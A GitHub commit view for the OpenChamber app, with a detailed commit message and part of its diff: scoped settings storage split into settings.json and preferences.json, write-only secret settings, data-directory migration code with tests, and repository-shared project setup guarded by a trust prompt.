Settings storage with scopes, and project setup that can live in the repository (#3413)

* refactor(settings): settings registry and intent-gated writes

Problem: every setting lived in a flat document with ten hand-maintained
key lists that had drifted (three keys the server silently dropped, five
it kept that nothing read), and three code paths wrote to the server
without a person changing anything: the theme persist effect on mount,
bootstrap seeding of server-missing keys, and the auto-save echoing
values just adopted from the server.

Approach: one registry (packages/ui/src/lib/settings/registry.ts) names
every key with its scope (instance / profile / device), a boundary parser
and its store binding; DesktopSettings, the sanitizer, the mirror, the
apply step and the auto-save derive from it. A generated JSON snapshot
carries the key list to the server and the VS Code bridge. Writes carry
intent: the theme context writes only from its user-facing setters, a
missing server key leaves the local store alone instead of resetting it,
updateDesktopSettings drops values the server already holds, and the
auto-savers treat values applied from the server as a new baseline.

Testing: bun test packages/ui (registry + persistence suites cover zero
writes on load, dedup, toggle-back cancellation, failed-save retry, and
snapshot freshness); tsc for every workspace.

* refactor(ui): read and write settings through the shared path only

Problem: fourteen pages and stores fetched /api/config/settings on their
own and re-parsed the raw document by hand, so the registry could not
guard them and two of them treated a failed load as an empty list.

Approach: loadDesktopSettings() and updateDesktopSettings() (which now
resolves { ok }) replace every direct call; SkillsCatalogPage and
AddCatalogDialog refuse to write the catalog list until it is known.

Testing: bun test packages/ui (403 files), eslint on the changed files.

* refactor(server): validate settings writes against the registry snapshot

Problem: the server whitelist was the only guard on PUT /api/config/settings
and had drifted from the client; dead keys were still persisted.

Approach: settings-helpers.js drops any key the generated registry
snapshot does not list as persistable and strips secret keys from
responses; the dead keys (markdownDisplayMode, toolCallExpansion,
typographySizes, expandedEditorToolbar, gitProviderId/gitModelId) are
gone; the profile keys that were client-only now round-trip. A drift
test requires a valid sample for every persistable registry key.

Testing: vitest run in packages/web (182 files), including the packed
tarball import.

* refactor(vscode): gate bridge settings writes by the registry

Problem: the extension host wrote any key the webview sent straight into
settings.json, and commit-message generation read the dead
gitProviderId/gitModelId pair instead of the small-model setting.

Approach: filterPersistableSettingsChanges applies the registry snapshot
before the file write; chooseBridgeGitGenerationModel honours
smallModelUseDefault/smallModelOverride ahead of the zen fallback.

Testing: bun test packages/vscode (37 files), tsc, build:extension.

* feat(settings): split the user's profile into preferences.json

Problem: one flat settings.json held instance facts, the user's
preferences and device state together, so device state travelled between
installs and the profile had no document of its own to sync from.

Approach: the server keeps one merged document for clients but routes
each key by registry scope on disk (settings-files.js): profile keys go to
preferences.json as { value, updatedAt } entries stamped when the value
changes, everything else stays in settings.json, device keys are dropped
from writes. A missing preferences.json is seeded once from settings.json,
which is left intact; an unreadable one is a failure that pauses profile
writes and never gets overwritten. Server modules that read a profile key
off the disk use the merged sync read. Electron main reads the theme mode
from both files and now owns the splash colours, handed over the
window-theme IPC instead of the settings document. Clients stop sending
device keys, seed them once from a pre-split document, and persist
inputBarOffset locally. The PWA manifest keys are instance facts.

Testing: vitest in packages/web (seed, split write, timestamp retention,
unreadable file), bun test in packages/ui and packages/electron, tsc for
every workspace.

* feat(vscode): write the profile to preferences.json from the extension host

Problem: the extension host writes the shared settings files directly and
had to follow the server's split, and its file writes reported success on
failure.

Approach: settings-files.ts mirrors the server's format and split rules
(seed once, unreadable preferences.json is a failure); persistSettings
routes profile keys to preferences.json and the rest to settings.json,
and the atomic writers now throw so a failed save reaches the webview.
Clearing a key now actually removes it from the owning file.

Testing: bun test packages/vscode (38 files), tsc, build:extension.

* feat(settings): store the per-surface profile fields by surface kind

Problem: theme, chat-layout switches and typography sizes are one value
for every client of an instance, so the phone and the desktop cannot
disagree without a hard-coded runtime branch.

Approach: every settings request carries the client's surface kind in the
x-openchamber-surface header (web, desktop, vscode, mobile — the phone app
and the hosted mobile shell are one kind). For the registry's perSurface
keys the store writes a changed value under fields[key].surfaces[kind] in
preferences.json and never touches the base from a surface; reads resolve
the kind's own value, then the base, then nothing. Writes without a
surface (migrations, the seed) set the base. The VS Code host is always
vscode; Electron main resolves desktop for the native window theme. The
Settings UI is unchanged.

Testing: vitest in packages/web (surface write/read, no base copy, unknown
surface falls back to base), bun test in packages/vscode and packages/ui,
tsc for every workspace, build:extension.

* fix(settings): keep a legacy copy of the profile in settings.json

The first write after the split rewrote settings.json with the instance
part only, and that write happens on startup (relay reconcile). A build
from before the split reads only settings.json, so rolling back would
have lost every preference: theme, default model, all of it.

Every write now stores the profile's base values in settings.json next
to the instance part (`legacySettingsDocumentOf`), on the server and in
the VS Code extension host alike. Current builds ignore the copy because
preferences.json wins in the merged read. When preferences.json is
unreadable the copy already on disk is kept rather than dropped.

Testing: settings-runtime tests updated for the copy; full web suite
(182 files), VS Code tests and extension build, tsc clean. Verified live
on a scratch OPENCHAMBER_DATA_DIR: all 136 keys survive startup, theme
changes land per surface, plain keys land in the base.

* feat(settings): make the UI password and tunnel preset tokens write-only

GET /api/config/settings returned desktopUiPassword and the managed
remote tunnel preset tokens to every authenticated client, including
paired phones and the VS Code webview that never need them.

Both keys are now `secret` in the registry: accepted on write, withheld
from reads. The server answers with a hasDesktopUiPassword flag; the
desktop network page shows "Password set" and sends a value only when
the user types a new one or presses "Remove password" (an empty string
clears it and turns LAN access off). The tunnel page already learned
token presence from the status endpoint. The VS Code bridge strips
secret keys from what it hands the webview while still merging them
from disk on write.

Testing: registry, i18n parity, server settings, VS Code gate tests and
tsc; workspace type-check. Verified against a scratch server: GET
carries the flag and no password, PUT with '' clears, PUT with a value
sets. The desktop-only page itself awaits the owner's run.

* fix(settings): send the surface kind as a query parameter, not a header

The packaged desktop shell (openchamber-ui://app) and the phone app are
cross-origin to the OpenChamber server, so the x-openchamber-surface
header turned every settings request into a CORS preflight the server
did not allow. Settings looked reset and every save reported "Save
failed" without reaching persistSettings. An older remote instance would
refuse the header the same way even with the allow-list fixed.

The client now sends ?surface=<kind>, which keeps the request
CORS-simple on every server version; the server reads the query
parameter and still honours the header. The header is also in the CORS
allow-list for completeness.

Testing: workspace type-check, persistence and registry tests, server
opencode tests. On a scratch server: PUT with ?surface=vscode lands
under surfaces.vscode, GET without or with an unknown surface serves the
base, the header fallback resolves. Confirmed in the owner's rebuilt
desktop and on the phone.

* refactor(settings): drop the show-password toggle from the desktop network page

With the password write-only, the field only ever holds a value the user
is typing right now; the reveal toggle and its strings are gone from
every locale.

* refactor(projects): serve project setup through the server, drop the legacy migration

The shared UI read and wrote ~/.config/openchamber/projects/<id>.json
itself: it resolved the home directory, composed the path, and used the
Files API, which only desktop and VS Code have natively and which cannot
see a remote instance's file at all. It also still carried the months-old
migration from <repo>/.openchamber/openchamber.json, which deleted files in
the folder the upcoming shared project config will use.

The client-owned keys (worktree setup commands, project actions, draft
starters) now live behind GET/PUT /api/projects/:projectId/config.
project-setup.js sanitizes and builds the view; the project-config runtime
merges a patch under the same cross-process lock the scheduled-task writers
hold, so unknown and server-owned keys survive. A wrongly shaped key is a
400, not a silent drop. openchamberConfig.ts keeps its exported functions
and is now an HTTP client. The VS Code webview handles the route locally
and bridges to the extension host, which owns the file with a TS mirror of
the sanitizers.

Testing: server tests for sanitizers, round trip, lock, and invalid patch;
client tests against a mocked route; VS Code sanitizer and bridge tests;
workspace type-check, both VS Code builds, UI isolated suite (409 files),
server projects and project-context suites. Live GET/PUT against a
running server with the owner's real project config.

* feat(projects): read the team's shared config and merge it with the personal one

A project can now carry <repo>/.openchamber/project.json (version 1:
setupWorktree, setupWorktreeWait, projectActions, draftStarters,
plansDir). The server finds the checkout from the path-derived project
id, parses the file, and answers GET /api/projects/:id/config with one
merged view: what runs at the top level, plus shared and personal blocks
so a page can edit the personal file without copying a teammate's entry
into it.

Merge rules: shared setup commands run first (a personal
setupWorktreeMode of "replace" uses the personal list only); the
personal wait flag wins when set; actions union by id with a personal
action replacing the shared one and personal hiddenSharedActionIds
dropping shared ones; starters union by type:name; the primary action is
personal only. A shared file that exists but cannot be parsed, or that
names a plansDir outside the repo, is reported as invalid with a reason
and never treated as "no shared setup". Nothing writes the repo file yet.

Client: getProjectSetup exposes the view; the existing helpers return
effective values, while the Projects page sections and the draft
starters hook edit the personal block only. Shared entries show a quiet
"shared" mark in the actions dropdown and read-only lists above the
editable ones on the Projects page; shared starter chips have no remove
handle. The VS Code extension host mirrors the parser and merge.

Testing: server tests for the parser, plansDir guard, merge table, id
round trip, and a runtime test against a temp checkout; client tests
against a mocked route; VS Code sanitizer, merge, and bridge tests; the
section test covers the shared row; locale parity; workspace type-check;
UI isolated suite (409 files). Live: GET against a temp repo with a
shared file and with a broken one.

* feat(projects): ask before the team's shared commands run, once per set of commands

Shared setup commands and shared actions come from a file a git pull can
change, and they run on the machine of whoever pulls. The first time one
would run, a dialog now shows exactly what would run and asks: "Trust and
run" or "Not this time". A "trust" answer is recorded in the personal
config against a SHA-256 of the executable parts (setup commands and each
action's id, command, and runIn; renames and icons do not count), so a
pull that changes a command brings the prompt back. Nothing asks when the
shared file has nothing that executes.

Worktree creation (session creator, new-worktree dialog, session store,
multi-run launcher, agent-manager empty state) resolves its commands
through the prompt; "not this time" runs only the user's own commands.
The actions dropdown asks before a shared action runs. The Projects page
shows "Trusted on this instance" with a "Reset trust" button next to the
shared actions. The dialog is mounted beside the app-link confirmation on
every shell. The VS Code extension host mirrors the hash and the record.

Testing: server tests for hash stability, ordering, and the trusted flag,
plus a runtime test that changes the shared file and sees trust drop;
client tests for the confirmation store (ask, trust, skip, replace mode,
newer request, failed record, reset); VS Code mirror tests; the actions
button, new-worktree dialog, and issue-2039 tests updated for the trust
path; locale parity; workspace type-check; UI isolated suite (410 files).

* feat(projects): share and unshare setup with the team from the Projects page

The repo file <repo>/.openchamber/project.json is now written by the app,
and only when the user shares something: nothing appears in a repository
until then. PUT /api/projects/:id/config/shared replaces the keys it
names over the current file, writes it pretty-printed with version first
and only the keys that carry something, removes the file (and an empty
.openchamber folder) when nothing is left, refuses a missing checkout or
a plansDir outside the repo, and records trust for the writer, who has
seen what they shared.

On the Projects page, actions and setup commands get "Share with team"
and "Make personal"; shared actions can be hidden for this user; a
checkbox switches to "Use only my setup commands". Project starter chips
get share and make-personal hover buttons. A new "Shared config" block
shows the file's path and status, the shared plans folder, and the trust
status with "Reset trust". A share is a repo write followed by a personal
write; a failure after the first leaves the item visible once, as
personal. The VS Code extension host mirrors the writer.

Testing: server tests for the patch, serialization, emptiness, the write
and removal round trip, the writer's trust record, and the refusals;
client test for the shared route; VS Code bridge test for write and
removal; locale parity; workspace type-check; UI isolated suite (410
files). Live on a scratch server: share, invalid plansDir (400), unshare
to removal of file and folder.

* feat(projects): list, edit, and move plans in the team's shared plans folder

When the shared config names a plansDir, every markdown file in that
folder is a plan on the Plans tab: listed after the user's own plans,
marked shared, addressed as shared:<file>, read and edited in place
(the raw document is written verbatim, so a plan another tool wrote
keeps its shape), and deletable. Share moves one of the user's plans
into the folder; make personal moves it back under a new id; a name
collision gets a numeric suffix. Sharing is refused, with a hint in the
panel, until a shared plans folder is set in Project settings. This
answers the request to read plans from an existing folder such as
docs/plans.

Server: the project-context runtime takes resolveSharedPlansDir from the
project-config runtime; readContext reports sharedPlansDir; POST
.../plans/:id/share and /unshare. Client: movePlan in the context store,
a shared badge and a share / make-personal button per plan row. Session
attachments reference plan ids, so an attached plan that moves has to be
attached again.

Testing: runtime tests for listing, foreign markdown titles, id
traversal, in-place update and delete, share and unshare with a
collision, and the refusal without a folder; HTTP route tests; store and
locale parity tests; workspace type-check; full web suite (183 files);
UI isolated suite (410 files). Live on a scratch server against a temp
repo: list, share, read, unshare.

* fix(server): make OPENCHAMBER_DATA_DIR move every folder, not just the flat files

The variable is documented as the OpenChamber data directory, but only
settings, preferences, auth, and push files followed it; projects,
themes, speech models, and the chats default stayed under
~/.config/openchamber. A second instance started with a custom
directory therefore read and wrote the default instance's project
configs.

Every folder now hangs off the one root. An instance that already used
a custom directory gets projects, themes, and speech-models copied in
once at startup; copied, not moved, so a second instance beside the
default one cannot strip it, and nothing is merged into a folder that
already exists. Existing managed chats are not copied, as with
OPENCHAMBER_CHATS_DIR.

Testing: migration tests for copy-once, no-merge, and same-root no-op;
full web suite; a scratch server with an empty data dir copied the real
project configs and kept its writes in the copy.

* fix(projects): keep a plan's id when it moves into or out of the repository folder

A plan moved into the repository plans folder used to be listed under a
new shared:<file> id, so a session that had attached it lost the
attachment. The manifest entry now stays with a `shared` flag that says
which folder holds the file; the id survives both directions. Only a
plan that never had an entry (one written by another tool) gets an id
when it is brought in. A personal file and a repository file may share
a name because they live in different folders.

Testing: runtime tests for share and unshare with a stable id, reading
and editing the moved plan, the suffix on a name collision, and the
adoption of a foreign file.

* feat(projects): default repository plans folder, "move to repository" wording, tooltips

Plans now have a repository folder without any setup: .openchamber/plans
by default. A custom plansDir replaces the default outright (only that
folder is read and written; moving files between the two is the user's
job), and the field's placeholder and hint say so. The move buttons on
plans are therefore always available.

The word "share" is gone from the UI: it read like publishing, while
the action stores an item in the repository so everyone who pulls it
gets it. Labels are "Move to repository" / "Move to my settings", the
badge is "In repo", the block is "Repository config", and every button
on the Projects page carries a tooltip that says what happens (the
"Move to repository" button explains that edits save first while the
form is dirty). The trust status with "reset trust" moved from the
repository block into the Worktree section next to the commands it
guards; the plan row's badge sits beside the title.

Testing: locale parity, section test, workspace type-check, UI isolated
suite (410 files), full web suite.

* fix(projects): leave the icon key out of the repository file when an action has none

Actions without an icon were written as "icon": null into
.openchamber/project.json. The key is now omitted; readers already fall
back to the play icon. Server and VS Code serializers, tests updated.

* docs: describe the repository config file and how items move into it

A new page in every locale: what stays personal and what can move into
the repository, the .openchamber/project.json format with an example
and every key explained (setup commands, actions with the supported icon
names, starters, plansDir), the merge rules, the trust prompt, and plans
in the repository. Linked from the sidebar and from Project Actions.
Translations written by hand.
This commit is contained in:
Bohdan Triapitsyn
2026-09-07 17:50:55 +03:00
committed by GitHub
parent ff75dc9bd5
commit 85c4320825
163 changed files with 10960 additions and 3637 deletions
+27 -8
View File
@@ -94,6 +94,7 @@ import { createPermissionAutoAcceptRuntime } from './lib/permission-auto-accept/
import { createMessageQueueRuntime } from './lib/message-queue/runtime.js';
import { createGracefulShutdownRuntime } from './lib/opencode/shutdown-runtime.js';
import { createProjectConfigRuntime } from './lib/projects/project-config.js';
import { migrateLegacyUserDirs } from './lib/data-dir-migration.js';
import { createProjectContextRuntime } from './lib/project-context/runtime.js';
import { createAgentMemoryRuntime } from './lib/agent-memory/runtime.js';
import { createAgentMemoryActions } from './lib/agent-memory/actions.js';
@@ -259,14 +260,20 @@ const normalizeManagedRemoteTunnelPresets = (...args) =>
const normalizeManagedRemoteTunnelPresetTokens = (...args) =>
settingsNormalizationRuntime.normalizeManagedRemoteTunnelPresetTokens(...args);
const isUnsafeSkillRelativePath = (...args) => settingsNormalizationRuntime.isUnsafeSkillRelativePath(...args);
const sanitizeTypographySizesPartial = (...args) =>
settingsNormalizationRuntime.sanitizeTypographySizesPartial(...args);
const normalizeStringArray = (...args) => settingsNormalizationRuntime.normalizeStringArray(...args);
const sanitizeModelRefs = (...args) => settingsNormalizationRuntime.sanitizeModelRefs(...args);
const sanitizeSkillCatalogs = (...args) => settingsNormalizationRuntime.sanitizeSkillCatalogs(...args);
const sanitizeProjects = (...args) => settingsNormalizationRuntime.sanitizeProjects(...args);
const OPENCHAMBER_USER_CONFIG_ROOT = path.join(os.homedir(), '.config', 'openchamber');
// Every OpenChamber-owned file and folder hangs off one root: the default
// `~/.config/openchamber`, or `OPENCHAMBER_DATA_DIR` when set. The user
// folders (`projects/`, `themes/`, `speech-models/`) are copied into a custom
// root once at startup (`migrateLegacyUserDirs`), because they used to ignore
// the variable.
const OPENCHAMBER_DEFAULT_CONFIG_ROOT = path.join(os.homedir(), '.config', 'openchamber');
const OPENCHAMBER_USER_CONFIG_ROOT = process.env.OPENCHAMBER_DATA_DIR
? path.resolve(process.env.OPENCHAMBER_DATA_DIR)
: OPENCHAMBER_DEFAULT_CONFIG_ROOT;
const OPENCHAMBER_USER_THEMES_DIR = path.join(OPENCHAMBER_USER_CONFIG_ROOT, 'themes');
const OPENCHAMBER_PROJECTS_CONFIG_DIR = path.join(OPENCHAMBER_USER_CONFIG_ROOT, 'projects');
// OPENCHAMBER_CHATS_DIR relocates managed chat worktrees — needed when the
@@ -305,9 +312,7 @@ const maybeCacheSessionInfoFromEvent = (...args) => notificationTemplateRuntime.
const buildTemplateVariables = (...args) => notificationTemplateRuntime.buildTemplateVariables(...args);
const getCachedZenModels = (...args) => notificationTemplateRuntime.getCachedZenModels(...args);
const OPENCHAMBER_DATA_DIR = process.env.OPENCHAMBER_DATA_DIR
? path.resolve(process.env.OPENCHAMBER_DATA_DIR)
: path.join(os.homedir(), '.config', 'openchamber');
const OPENCHAMBER_DATA_DIR = OPENCHAMBER_USER_CONFIG_ROOT;
const SETTINGS_FILE_PATH = path.join(OPENCHAMBER_DATA_DIR, 'settings.json');
const PUSH_SUBSCRIPTIONS_FILE_PATH = path.join(OPENCHAMBER_DATA_DIR, 'push-subscriptions.json');
const APNS_TOKENS_FILE_PATH = path.join(OPENCHAMBER_DATA_DIR, 'apns-tokens.json');
@@ -345,7 +350,6 @@ const settingsHelpers = createSettingsHelpers({
normalizeManagedRemoteTunnelHostname,
normalizeManagedRemoteTunnelPresets,
normalizeManagedRemoteTunnelPresetTokens,
sanitizeTypographySizesPartial,
normalizeStringArray,
sanitizeModelRefs,
sanitizeSkillCatalogs,
@@ -484,6 +488,17 @@ const getUpstreamStallTimeoutMs = () => (
: DEFAULT_UPSTREAM_STALL_TIMEOUT_MS
);
const movedUserDirs = await migrateLegacyUserDirs({
fsPromises,
path,
dataDir: OPENCHAMBER_USER_CONFIG_ROOT,
legacyRoot: OPENCHAMBER_DEFAULT_CONFIG_ROOT,
warn: (message) => console.warn(`[data-dir] ${message}`),
});
if (movedUserDirs.length > 0) {
console.log(`[data-dir] Copied ${movedUserDirs.join(', ')} into ${OPENCHAMBER_USER_CONFIG_ROOT}`);
}
const projectConfigRuntime = createProjectConfigRuntime({
fsPromises,
path,
@@ -494,6 +509,7 @@ const projectContextRuntime = createProjectContextRuntime({
fsPromises,
path,
projectsDirPath: OPENCHAMBER_PROJECTS_CONFIG_DIR,
resolveSharedPlansDir: (projectId) => projectConfigRuntime.resolveSharedPlansDir(projectId),
});
const agentMemoryRuntime = createAgentMemoryRuntime({
@@ -1676,7 +1692,10 @@ async function main(options = {}) {
res.setHeader('Access-Control-Allow-Origin', origin);
res.setHeader('Access-Control-Allow-Credentials', 'true');
res.setHeader('Access-Control-Allow-Methods', 'GET,POST,PUT,PATCH,DELETE,OPTIONS');
res.setHeader('Access-Control-Allow-Headers', 'Content-Type,Authorization,Accept,X-Requested-With,Cache-Control,X-OpenCode-Directory,X-OpenCode-Directory-Encoding,Ngrok-Skip-Browser-Warning');
// The packaged desktop UI (openchamber-ui://) and the dev UI sit on a
// different origin, so every custom request header must be listed here or
// the browser refuses the request at preflight, before it reaches a route.
res.setHeader('Access-Control-Allow-Headers', 'Content-Type,Authorization,Accept,X-Requested-With,Cache-Control,X-OpenCode-Directory,X-OpenCode-Directory-Encoding,Ngrok-Skip-Browser-Warning,X-OpenChamber-Surface');
res.setHeader('Access-Control-Expose-Headers', 'x-next-cursor');
res.setHeader('Vary', 'Origin');
if (req.method === 'OPTIONS') {
@@ -0,0 +1,40 @@
// One-time copy of the user-authored folders into a custom data directory.
//
// `OPENCHAMBER_DATA_DIR` is documented as "the OpenChamber data directory",
// but for a long time only the flat files (settings, auth, push tokens)
// followed it while `projects/`, `themes/`, and `speech-models/` stayed under
// `~/.config/openchamber`. Now every folder hangs off the data directory, so an
// instance that already ran with a custom directory finds those folders in
// the old place. This copies each one over once: only when the new location
// does not exist yet and the old one does. It copies rather than moves
// because a second instance on the same machine (a custom directory next to
// the default one) must not strip the default instance of its projects.
const USER_DIR_ENTRIES = Object.freeze(['projects', 'themes', 'speech-models']);
const exists = async (fsPromises, target) => fsPromises.access(target).then(() => true, () => false);
/**
* Copy the user folders from `legacyRoot` into `dataDir`. Returns the entries
* copied. A no-op when the two roots are the same directory. A folder whose
* copy fails is reported through `warn` and its partial copy removed; the
* server keeps starting, reading the (empty) new location.
*/
export const migrateLegacyUserDirs = async ({ fsPromises, path, dataDir, legacyRoot, warn = () => {}, entries = USER_DIR_ENTRIES }) => {
if (path.resolve(dataDir) === path.resolve(legacyRoot)) return [];
const moved = [];
for (const entry of entries) {
const from = path.join(legacyRoot, entry);
const to = path.join(dataDir, entry);
if (await exists(fsPromises, to) || !(await exists(fsPromises, from))) continue;
try {
await fsPromises.mkdir(dataDir, { recursive: true });
await fsPromises.cp(from, to, { recursive: true, errorOnExist: true, force: false });
moved.push(entry);
} catch (error) {
await fsPromises.rm(to, { recursive: true, force: true }).catch(() => {});
warn(`Failed to copy ${from} to ${to}: ${error instanceof Error ? error.message : String(error)}`);
}
}
return moved;
};
@@ -0,0 +1,59 @@
import { describe, expect, it } from 'vitest';
import os from 'os';
import path from 'path';
import fsPromises from 'fs/promises';
import { migrateLegacyUserDirs } from './data-dir-migration.js';
const setup = async () => {
const root = await fsPromises.mkdtemp(path.join(os.tmpdir(), 'oc-data-dir-'));
const legacyRoot = path.join(root, 'legacy');
const dataDir = path.join(root, 'custom');
await fsPromises.mkdir(path.join(legacyRoot, 'projects'), { recursive: true });
await fsPromises.writeFile(path.join(legacyRoot, 'projects', 'p.json'), '{"a":1}');
await fsPromises.mkdir(path.join(legacyRoot, 'themes'), { recursive: true });
return { root, legacyRoot, dataDir, cleanup: () => fsPromises.rm(root, { recursive: true, force: true }) };
};
describe('migrateLegacyUserDirs', () => {
it('copies the user folders once into a custom data dir and leaves the originals', async () => {
const { legacyRoot, dataDir, cleanup } = await setup();
try {
const warnings = [];
const moved = await migrateLegacyUserDirs({ fsPromises, path, dataDir, legacyRoot, warn: (message) => warnings.push(message) });
expect(moved).toEqual(['projects', 'themes']);
expect(warnings).toEqual([]);
expect(await fsPromises.readFile(path.join(dataDir, 'projects', 'p.json'), 'utf8')).toBe('{"a":1}');
// The default instance keeps its own copy: a second instance must not strip it.
expect(await fsPromises.readFile(path.join(legacyRoot, 'projects', 'p.json'), 'utf8')).toBe('{"a":1}');
// A second start copies nothing more.
expect(await migrateLegacyUserDirs({ fsPromises, path, dataDir, legacyRoot })).toEqual([]);
} finally {
await cleanup();
}
});
it('never merges into a folder that already exists in the data dir', async () => {
const { legacyRoot, dataDir, cleanup } = await setup();
try {
await fsPromises.mkdir(path.join(dataDir, 'projects'), { recursive: true });
await fsPromises.writeFile(path.join(dataDir, 'projects', 'q.json'), '{}');
const moved = await migrateLegacyUserDirs({ fsPromises, path, dataDir, legacyRoot });
expect(moved).toEqual(['themes']);
expect(await fsPromises.readdir(path.join(dataDir, 'projects'))).toEqual(['q.json']);
expect(await fsPromises.readdir(path.join(legacyRoot, 'projects'))).toEqual(['p.json']);
} finally {
await cleanup();
}
});
it('is a no-op when the data dir is the default root', async () => {
const { legacyRoot, cleanup } = await setup();
try {
expect(await migrateLegacyUserDirs({ fsPromises, path, dataDir: legacyRoot, legacyRoot })).toEqual([]);
expect(await fsPromises.readdir(path.join(legacyRoot, 'projects'))).toEqual(['p.json']);
} finally {
await cleanup();
}
});
});
@@ -212,7 +212,12 @@ Managed health failures are classified as `timeout`, `connection_refused`, `conn
- `persistSettings(changes)`
- Persistent permission auto-accept policy is stored under `permissionAutoAccept`; execution ownership lives in `lib/permission-auto-accept/`.
- Queued follow-up messages live in `<data-dir>/message-queue.json`, not in settings; execution ownership lives in `lib/message-queue/`.
- Shared sidebar preferences are stored as validated top-level fields: `sidebarProjectDisplayMode`, `sidebarSessionGroupingMode`, `sidebarProjectSortOrder`, and `sidebarShowRecentSection`. Device-local picker selection and sticky-header state do not enter `settings.json`.
- Shared sidebar preferences are stored as validated top-level fields: `sidebarProjectDisplayMode`, `sidebarSessionGroupingMode`, `sidebarProjectSortOrder`, and `sidebarShowRecentSection`. Device-local picker selection and sticky-header state do not enter either settings file.
- Two files (`settings-files.js`): `settings.json` holds instance facts and any legacy or unknown keys; `preferences.json` beside it holds every key the generated registry snapshot (`settings-registry.json`) marks `profile`, as `{ version: 1, fields: { key: { value, updatedAt, surfaces? } } }`. Keys the snapshot marks `perSurface` are stored per surface kind: `GET`/`PUT /api/config/settings` read the client's kind from the `surface` query parameter (`settingsSurfaceOf`; the legacy `x-openchamber-surface` header is still honoured, but a header forces a CORS preflight that cross-origin shells and older instances refuse, so clients must not send one) (`web`, `desktop`, `vscode`, `mobile`; anything else means base), `persistSettings(changes, { surface })` writes a changed per-surface key under `surfaces[surface]` and never touches its base, and `readSettingsFromDisk({ surface })` resolves that kind's value first, the base otherwise. Callers without a surface (migrations, the seed, server-side feature writers) read and write the base. `readSettingsFromDisk()` returns the merged document and seeds `preferences.json` once from an existing `settings.json` (which it leaves intact). An existing `preferences.json` that fails to parse is a failure, not an empty profile: it is never seeded or overwritten, the merged read serves the instance part, and `persistSettings` drops profile keys with a warning until the file is fixed or removed. `writeSettingsToDisk(document)` splits by scope and writes `settings.json` as the instance part plus a copy of the profile's base values (`legacySettingsDocumentOf`): a build from before the split reads only that file, so a rollback keeps the user's preferences, while current builds ignore the copy because `preferences.json` wins in the merge; device keys are dropped from writes. Modules that read one profile key off the disk on a hot path use `readMergedSettingsSync`.
## Public exports (settings-files.js)
- `parsePreferencesDocument(raw)`, `serializePreferencesDocument(fields)`, `flattenPreferences(fields)`, `buildPreferencesFields(previousFields, document, now)`, `instancePartOf(document)`, `seedPreferencesFrom(document, now)`, `readMergedSettingsSync({ fs, path, settingsFilePath })`, `getSettingsScope(key)`, `isProfileSettingsKey(key)`, `isDeviceSettingsKey(key)`, `preferencesFilePathFor(settingsFilePath, path)`.
- The VS Code extension host writes the same two files with the same shape (`packages/vscode/src/settings-files.ts`); format changes go to both.
## Public exports (settings-helpers.js)
- `createSettingsHelpers(dependencies)`: creates settings helper runtime for settings request/response shaping.
@@ -10,6 +10,7 @@ import { registerDevServerRoutes } from '../dev-servers/routes.js';
import { registerMagicPromptRoutes } from '../magic-prompts/routes.js';
import { registerSessionFoldersRoutes } from '../session-folders/routes.js';
import { registerProjectContextRoutes } from '../project-context/routes.js';
import { registerProjectSetupRoutes } from '../projects/routes.js';
import { registerAgentMemoryRoutes } from '../agent-memory/routes.js';
import { registerSessionKnowledgeRoutes } from '../session-knowledge/routes.js';
import { registerPermissionAutoAcceptRoutes } from '../permission-auto-accept/runtime.js';
@@ -314,6 +315,7 @@ export const createFeatureRoutesRuntime = (dependencies) => {
openchamberDataDir,
});
registerProjectContextRoutes(app, { projectContextRuntime });
registerProjectSetupRoutes(app, { projectConfigRuntime });
registerAgentMemoryRoutes(app, { agentMemoryRuntime, isAgentMemoryEnabled });
registerSessionKnowledgeRoutes(app, { sessionKnowledgeRuntime });
+5 -3
View File
@@ -7,6 +7,7 @@ import {
} from './config-mutation-response.js';
import { getClaudeCliAuthStatus } from './claude-cli-auth.js';
import { OPENCODE_CONFIG_DIR } from './shared.js';
import { settingsSurfaceOf } from './settings-files.js';
export const registerOpenCodeRoutes = (app, dependencies) => {
const {
@@ -208,9 +209,10 @@ ${desktopReturn ? `<a class="return" href="openchamber://focus/mcp-auth">Return
}
};
app.get('/api/config/settings', async (_req, res) => {
app.get('/api/config/settings', async (req, res) => {
try {
const settings = await readSettingsFromDiskMigrated();
// The surface kind resolves the per-surface profile keys; absent means base.
const settings = await readSettingsFromDiskMigrated({ surface: settingsSurfaceOf(req) });
res.json(formatSettingsResponse(settings));
} catch (error) {
console.error('Failed to read settings:', error);
@@ -422,7 +424,7 @@ ${desktopReturn ? `<a class="return" href="openchamber://focus/mcp-auth">Return
app.put('/api/config/settings', async (req, res) => {
try {
const updated = await persistSettings(req.body ?? {});
const updated = await persistSettings(req.body ?? {}, { surface: settingsSurfaceOf(req) });
res.json(updated);
} catch (error) {
console.error('[API:PUT /api/config/settings] Failed to save settings:', error);
@@ -0,0 +1,214 @@
// The two settings files and how a merged document is split between them.
//
// `settings.json` holds instance facts (and, untouched, whatever legacy keys
// older builds left there). `preferences.json` holds the user's profile: the
// keys the settings registry marks `profile`, each with the time the store
// last accepted a new value for it. Device keys never reach either file.
//
// The VS Code extension host writes the same two files with the same shape
// (`packages/vscode/src/settings-files.ts`); keep the format changes in sync.
import { createRequire } from 'node:module';
const registry = createRequire(import.meta.url)('./settings-registry.json');
const PREFERENCES_FILE_NAME = 'preferences.json';
const PREFERENCES_DOCUMENT_VERSION = 1;
/** The registry scope for a key, or `null` when the registry does not know it. */
const getSettingsScope = (key) => registry.fields[key]?.scope ?? null;
export const isProfileSettingsKey = (key) => getSettingsScope(key) === 'profile';
export const isDeviceSettingsKey = (key) => getSettingsScope(key) === 'device';
/** Profile keys the owner chose to store per surface kind (a change on a phone stays on phones). */
const isPerSurfaceSettingsKey = (key) => registry.fields[key]?.perSurface === true;
const SETTINGS_SURFACES = Object.freeze(['web', 'desktop', 'vscode', 'mobile']);
export const normalizeSettingsSurface = (value) => (
typeof value === 'string' && SETTINGS_SURFACES.includes(value.trim()) ? value.trim() : null
);
/**
* Which surface kind a settings request comes from; `null` means "base".
* Clients send `?surface=<kind>` (a query parameter keeps the request
* CORS-simple for cross-origin shells and older instances); the
* `x-openchamber-surface` header is still honoured for clients that sent it.
*/
export const settingsSurfaceOf = (req) => (
normalizeSettingsSurface(req.query?.surface) ?? normalizeSettingsSurface(req.get?.('x-openchamber-surface'))
);
export const preferencesFilePathFor = (settingsFilePath, path) => path.join(path.dirname(settingsFilePath), PREFERENCES_FILE_NAME);
const isPlainObject = (value) => Boolean(value) && typeof value === 'object' && !Array.isArray(value);
const sameValue = (left, right) => {
if (left === right) return true;
if (left === undefined || right === undefined) return false;
return JSON.stringify(left) === JSON.stringify(right);
};
